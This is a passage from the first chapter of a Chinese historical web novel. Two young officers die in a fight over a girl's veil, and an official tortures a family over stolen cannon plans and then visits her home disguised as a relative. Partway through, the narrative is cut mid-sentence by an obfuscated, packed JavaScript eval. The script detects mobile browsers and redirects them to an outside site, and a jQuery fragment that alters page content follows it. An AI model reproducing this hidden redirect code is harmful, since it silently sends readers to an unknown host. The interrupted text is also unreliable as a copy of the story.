第1章两才俊荒林斗殴丧命,活阎罗上门认假亲
春日宴,绿酒一杯歌一遍。
再拜陈三愿。
一愿郎君千岁,二愿妾身常健,三愿如同梁上燕,岁岁长相见。
辽东郡,方城。
一场小雨过后,万物复苏,贴着地皮的嫩芽抽出巴掌长的绿苗,唤醒了大地。
三匹骏马在田间飞驰,马蹄小心避开田中禾苗。
“雨后地滑,千鹤妹妹跑慢点!”缀在最末尾的的青年高声疾呼。
纵马跑在最前方的少女是边军千总郑家千金沈千鹤。
沈千鹤回头,睨了青年一眼,“庞哥哥技不如人,可别拿下雨当借口呀。”
语毕,她眉眼弯弯,发出一阵银铃般的笑声,举鞭抽马,大喝一声“驾!”又把身后的两个青年甩出几个身位。
风忽地加大,吹跑了少女覆面的轻纱,露出一张芙蓉面,皮肤白皙,双颊红润,挺翘的琼鼻下一张檀口,明亮的双眼清澈动人。
鹅蛋青色的料子被风卷着直上高空,顷刻间飘远。
“唉?”沈千鹤伸长手臂却没没抓到,很快将其抛之脑后。
距离她较近的青年情不自禁勒马,视线追着面巾提醒:“千鹤妹妹,你的面巾飞跑了!”
少女浑不在意道:“这张面巾已经洗掉色了,用旧的东西不必找了。我家里还有许多呢。”
她深吸一口气,一瞬间绽放笑容:“没了束缚,呼吸更顺畅。我娘还在家里等我送针线回去,小妹先走一步。”
身后两名青年都沉醉在这笑容中,失了神。
言笑间,少女轻轻一踢马腹,与被风吹跑的面巾奔向两个方向。
太平有象纹样的织金缎子裙闪过金光,身影消失在前方的小路上,芳踪杳然。
路上只剩下她清脆的笑声:“你们两个跑输了,记得把欠我的银子送家去。”
“唉,千鹤妹妹,我……”庞姓青年徒劳地伸长手臂,往少女离开的方向留恋地看了几眼,咬咬牙,去追面纱。
“吁——”周姓青年同样停下,毫不犹豫调转马头,追着面巾的方向。
*
“庞辉,你跟来做什么?怎么不护着千鹤妹妹返家,你不怕她遇上危险?”周姓青年不悦地斥责。
庞辉嘿嘿笑了几声,不客气刺回去:“周桐,你当我不知道你打什么心呢。我才不会让你得了千鹤妹妹的贴身之物。”
周桐被揭穿心思,当即面红耳赤。
他横马拦下庞辉,急道:“你胡说八道些什么东西!”
庞辉冷哼着:“前几日,上元灯节,千鹤妹妹用手帕擦嘴后,随手放在桌上就跟着店家去柜台挑选配菜的米酒。你偷了她的手帕放在鼻子底下嗅闻许久。又想把手帕藏进怀中带走。幸好千鹤妹妹回来得早,你才吓得赶紧把手帕放回桌上。”
庞辉眯起眼睛,笃定:“我猜你想拿千鹤妹妹的贴身之物去和郑叔叔说你们两情相悦,让他成全你们,想到郑家逼婚。”
“才是你想的那样,我早就让父母上郑家提亲了!只是、只是郑叔叔和沈叔母尚未颔首。说不定等到年尾,我就能千鹤妹妹迎进门做周家妇了。”周桐说着又自信地昂起头。
不满庞辉的污蔑,他反唇相讥:“别光说我。你跟上来,还不是存了同我一样的心思?年前隔着院墙,我都听见你跟父母争执,逼着他们豁下脸去郑家求亲。”
被揭穿心思,庞辉也不装了,直言道:“窈窕淑女,君子好逑。千鹤妹妹生得活泼可爱,娇媚动人。她被沈副总兵亲自教养长大,不但识文断字,也学了沈副总兵家传的双刀刀法。不论哪一点,都是婚配的上上之选。我与她打小的情谊,当然想娶她进门。”
周桐像是听到笑话,哈哈大笑:“千鹤妹妹的好自不必你来说,方城之内,谁人不知?但她是上上之选,你配吗?你真想两手空空的上门求亲啊?”
周桐拍放开缰绳,掰着手指头给庞辉算账:“田、宅、首饰、衣料,你能买得起哪一样?我就不同了——我爷爷是参将,与沈副总兵同级,父亲年前也已经升坐营官了。我家能给写到聘书上的聘礼就能有两千两银子、一百二十匹绸缎、二百匹细布和六套赤金头面,私底下还可以给千鹤妹妹八百两零花。”
周桐越说越骄傲,像只公鸡似的高高昂起头:“除此之外,我早和父母商定了,把家里亲修的宅子当婚房,让新妇跟我单独过日子。单独住,既不必挤在狭窄的院子里被一众堂年岁相当的兄堂弟惊扰,也不用每天早早起来伺候两重婆婆。千鹤妹妹跟了我,日后只有好日子。你个穷鬼别想同我争!”
周家在辽东边军经营十多代人了,亲朋故旧遍地,一把年岁也是辽东边军离不得的人物。
而且,他既和沈千鹤的外祖父沈副总兵是过命的交情,又对沈千鹤的父亲有知遇之恩,连沈千鹤父亲郑源和母亲沈秋月的婚事,都是由他一力促成的。
除此之外,周桐这一房独他一个男丁,并无兄弟姐妹;堂兄弟间也只有周桐这一个进军中效力的,周老爷子将来的资源只会扶持他一个。
周桐未来不可限量,绝对是婚嫁的好对象。
反观庞辉家就多有不如了。
虽然庞辉的祖父也是个参将,可他老了,双腿行动不便早已无法领兵,眼瞅着就要下去了。
以后人走茶凉,还能施展什么力气?
况且,庞老爷子有足足八个儿子,各个都需要他扶持,家里早被掏空了。
年前,庞老太爷才拼出一辈子的积蓄,把儿子们全帮扶到中军的位置上,耗掉半条老命;到孙子辈,他是彻底有心无力了。
庞辉比周桐同入军中效力早两年,剿匪的功绩攒了五六回,身上留下好几处刀剑伤,但到了最后,是他娘变卖了嫁妆首饰,加上他入军后攒下的所有银钱一块拿去打点,才跟周桐同时升了队长的位置。
现如今,庞辉全家饭桌子上已经大半年没见荤腥了。
寻常日子都过得紧巴巴的,哪里还凑得出聘礼呢?
有周桐这样捧着厚礼的人家等着,沈千鹤无论如何也不可能被拿不出聘礼的庞辉娶走。
庞辉面上一黑,看着周桐满脸得意笑容,脱口而出:“谁说我家拿不出聘礼,我祖父手中有……”
“你真打算把庞参军的棺材本用了啊?”周桐神情古怪地打量着庞辉。
如同一桶冷水兜头淋下,庞辉不由得攥紧缰绳,人冷静下来。
他不能说真正的家底有多少,那便要另想法子让周桐退出竞争了。
庞辉情不自禁目露凶光。
周桐说完就忘,已经转开视线,边树林中搜寻,边催促胯下骏马:“走,往西面去,我看到面巾飞过去了。”
庞辉阴沉着脸缀在周桐身后,两人又在树林间走了约莫半个时辰,终于一同拉住缰绳,停在了一处浅崖边。
崖边中巨木盘根错节,枝丫横生,如果不仔细看,根本发现不了遍地枯叶之间的巨大裂缝。
周桐欢呼:“在崖边的柳树条上挂着呢!”
他迅速下马,试探着往山崖的斜坡下走了几步,把脚下枯枝败叶踩得咯吱作响。
脚下滑溜溜的,周桐东倒西歪,险些直接滚落悬崖。
他大叫一声,手脚并用地爬回来,脸上显出惧意。
周桐叉腰喘着大气,回头瞥见庞辉,口风一转,嘴硬道:“伸手够不着,就差一点,不然我就下去抓上来了。”
庞辉眸光微微闪烁,情不自禁垂眸看向崖下。
面巾勾在崖壁生长的一条柳树枝上。
浅崖高约二十丈,可崖地只有浅浅一汪水池,周边巨石嶙峋,若不慎摔下去,没有通天的气运,会直接丢了一条小命。
这是老天爷赐给他除掉周桐的机会!
庞辉脸上神情变了,顺着周桐的话激他:“哪里是差了一点,我看你就是怕了。要不算了吧,千鹤妹妹都说不要了,她丢了条面巾,回家肯定要禀报父母的,拿了也不能说是定情信物。”
话虽如此,脸上却是一副跃跃欲试的神情。
他走到附近树边,折断树枝。
这是军中常见做记号的办法,为了日后方便寻找。
周桐紧张起来,急声质问:“你是不是等我我回去,自己悄悄回来,下崖拾千鹤妹妹的面巾?”
“我,这……”庞辉眼睛滴溜溜地转,一脸心虚。
周桐急了,一把抓住庞辉衣领:“你真这么想!你要用千鹤妹妹的面巾做什么?”
“男人得了喜欢女人的贴身之物,还能做什么。”庞辉嘴里嘟哝,声音低下去,“……我知道自家没有闲钱,只靠承诺得不来郑叔叔和沈叔母的青睐。难道我想收藏一件千鹤妹妹的面巾聊慰军中寂寥还不可以吗?——喂,周桐,把你裤带借我。你没胆下崖,我可不会退缩,我会让千鹤妹妹明白谁才是她能依靠终身的男人!”
“你想都别想,千鹤妹妹的一切都只能是我的!”周桐气急,一把将庞辉推倒在地,抽了他的裤带和自己的系在一起,绕上树干,二话不说就往崖下去。
庞辉被摔倒在枯枝败叶之间,鼻腔里满是腐烂的味道,可他脸上却露出狂喜地笑容。
他慢吞吞从地上起身,垂眸看着周桐挂在崖边的狼狈模样,笑容越发扩大。
淤积在心中的愤懑一瞬间熊熊燃烧。
他几次三番在战场豁出性命,到头来却要跟从未出战过的周桐一道升职成为小队长。
难道就因为周桐家使银子出的多?
庞辉脚踩住薄绸腰带,在崖边尖锐的石块上用力摩擦,纤薄的丝线被飞快磨断。
“呲拉——”的一声脆响,腰带整条断开。
“啊!”周桐惊恐的尖叫响起。
庞辉脸上的笑容一瞬间达到最大,又在下一秒僵住。
周桐这个傻大个居然攀着山崖上凸起的石块稳住了身形!
一番变故,周桐咬紧牙根,使出吃奶的力气,抓着石块往上爬,大怒:“庞辉,你个王八犊子,等我上去必杀了你!腾云,腾云来拉我!”咒骂的同时还不忘记喊上坐骑前来搭救自己。
庞辉头一回做坏事,后背已经冷汗淋漓。
他心如擂鼓,知道事已至此,若是周桐不死,死的就会是他了。
他决不能死,娇妻和高位都在未来等着他!
庞辉回头看向哒哒跑来的骏马,心中杀气大盛,从腰间掏出佩刀向骏马挥去!
“唏律律——!”高头大马嘶鸣一声,灵巧躲过挥来的长刀,猛地扬起前蹄,一脚踏中了庞辉右肩。
巨力传来,哪怕庞辉身高八尺也不敌八百多斤的成年公马力量。
庞辉瞬间栽倒,翻滚着摔向悬崖边,连带着砸中了好不容易爬上来的周桐。
两人一同惨叫着。
庞辉瞪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583820|171635||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大了眼睛,惊恐无比的看到自己被周桐拽得大头朝下往山崖下滑。
那些他认为能刺死周桐的石块在视野里无限放大。
落地时,两人手脚相互攀扯着,以怪异的姿势扭曲,气绝身亡。
暗红的血迹染红崖地薄薄的一层水面,碎石被染上罪恶的痕迹。
骏马哀鸣,不舍地在崖边盘桓,许久之后,终于迈开蹄子,朝家的方向跑去。
*
黑云压城,雷电齐鸣,大雨兜头淋下。
各家紧锁门户,街上毫无人烟。
一队快马疾驰而过,直冲庞宅,进门后将大门反锁。
庭院内响起尖叫和求饶声,过了片刻,声音消弭,一群家仆倒在地上,淡淡的血色被雨水冲刷着流出门庭。
白发苍苍的老者为首,被压着跪满整个前院。
为首的男人头戴斗笠,只能看到棱角分明的下巴和两片薄薄的嘴唇。
他抽出腰间绣春刀,用刀身拍了拍老人的脸,指着墙角被堵了嘴的幼童,启唇轻笑:“不说?我问你回,若答不上就杀一个。”
“你还有二十六个孙儿,不急,慢慢想清楚。”
男人长刀入鞘,向后靠坐进圈椅,垂眸道:“上进的火炮图纸呢?”
“大人明鉴,下官真的不知情。”
男人一脚踹在老者胸口,老人顿时口吐鲜血,委顿在地。
他动了动手指,墙根下一个跪着的青年立刻被拉出来,一刀捅穿了心脏,瞪大双眼摔倒在地抽搐,渐渐失去了生机。
“参与火炮图纸研究的一共三人。上京进献的图纸的官员已死;另一个随同千人大军外出剿匪,全程不离他人视线。只有你,半年功夫就突然有钱给三个儿子疏通关系,晋升职务,还请旨急流勇退——你说,图纸被掉包了,我应该找谁问罪?”
老者瞳孔急剧缩小。
刹那后,他带着满嘴血,奋力爬向男人,用手指抓住他的靴筒,手指向北面:“一定是郑中徽!他突然逃荒到辽东,又有各种发财本领,绝对是他从中牟利。大人明鉴啊,是他说向我还恩拉我进研究组的。我连火炮原理都不明白,我真的对此事一概不知。”
郑源,字中徽。
郑源有妻室沈秋月,小字海棠,是已经退下的沈副总兵原本想要留在家中养老的幼女。
此人正是“随军剿匪”的那一位,虽说发迹之路有些传奇,但他在“火炮图纸丢失案”中是最不值得怀疑的对象。
不过,宁杀错,勿放过。
既然郑中徽人不在家,那就别怪他亲自去郑家宅院探一探了。
“指挥使,庞家人怎么处置?”
“不见棺材不落泪。把庞家人的手脚都打断,等雨停了送去牢中再审,别累到了宫中的骏马。”
男人轻叹一声,摘了斗笠后,站在铜镜前正冠。
他身穿帝王紫帖里,外着雪青色罩甲,一张玉面被衬得越发阴柔透亮。
他提了提衣领,拆了腕甲与腰间佩刀,随便从伞桶中抽了把油纸伞撑开,走入雨幕。
伞外瓢泼大雨,但天地间为他独留了一方桃源乡。
*
“吁——”
沈千鹤勒住缰绳,跳下马背。
落地是飞溅起水点,她匆匆躲到大门的屋檐下,急急忙忙从防水的牛皮挂包中掏出一把松子糖喂给枣红色骏马,揉了揉它滴水的鬃毛:“辛苦你了。”
一道紫色身影自滂沱大雨中缓步而来,衣摆翻飞。
网巾拢着男人额头的碎发,浓密厚实的发丝也被紧束于金冠之中,他缓缓抬起头,露出一张俊容。
沈千鹤眼前一亮。
玉面剑眉桃花眼,宽肩窄腰麒麟臂,真是生得一副矫健的好相貌!
他直直对上了沈千鹤的视线,被看得好似羞涩了,微微抖了抖睫毛,垂下视线。随后,年轻男人又抬起头,友善地笑了笑,迅速迈开步伐,向她走来。
沈千鹤这才注意到男人的装扮。
他穿着武人在外行走常见的帖里和罩甲,但两件衣裳的下摆都比武人更长,十分接近书生道服的长度,也并未佩刀。
沈千鹤一时间拿不准面前的男子到底文人还是武生了。
不过,那衣料挺括,光彩照人,一看便知穿衣人身价不菲,想来是富贵人家出身的儿郎。
男人举着伞站在雨中,保证与沈千鹤之间足够疏远的距离,躬身抱拳打听:“请问方城郑千总是这一户吗?我是郑千总家乡堂姐的儿子,叫贺同章,想寻他投亲。”
父亲的亲戚?
父亲这些年一有机会就托人回家乡探听消息,想知道有多少亲戚活过大灾,始终杳无信讯。
现下有人找上门,可真是个天大的好消息!
惊喜地笑意顿时从沈千鹤眼睛里亮起。
“你算找对人家了,我爹就是郑中徽。你快跟我回家。”
沈千鹤一下握住贺同章手腕,把他从漫天雨幕之中拉进屋檐下。
余光扫见走在大雨中的骏马,沈千鹤又突兀地放开紫袍男人,“咦?那不是周哥哥的马么,怎么独自回来了——腾云?过来!”
她转身绕过男人,发尾甩出的水珠砸在男人眼角,贺同章不受控制地眯起眼睛。
沈千鹤向奔来的黑马送上一把糖果,丝毫没有察觉,男人在错身而过的一瞬间,他早已并指为剑,险些克制不住将她敲晕。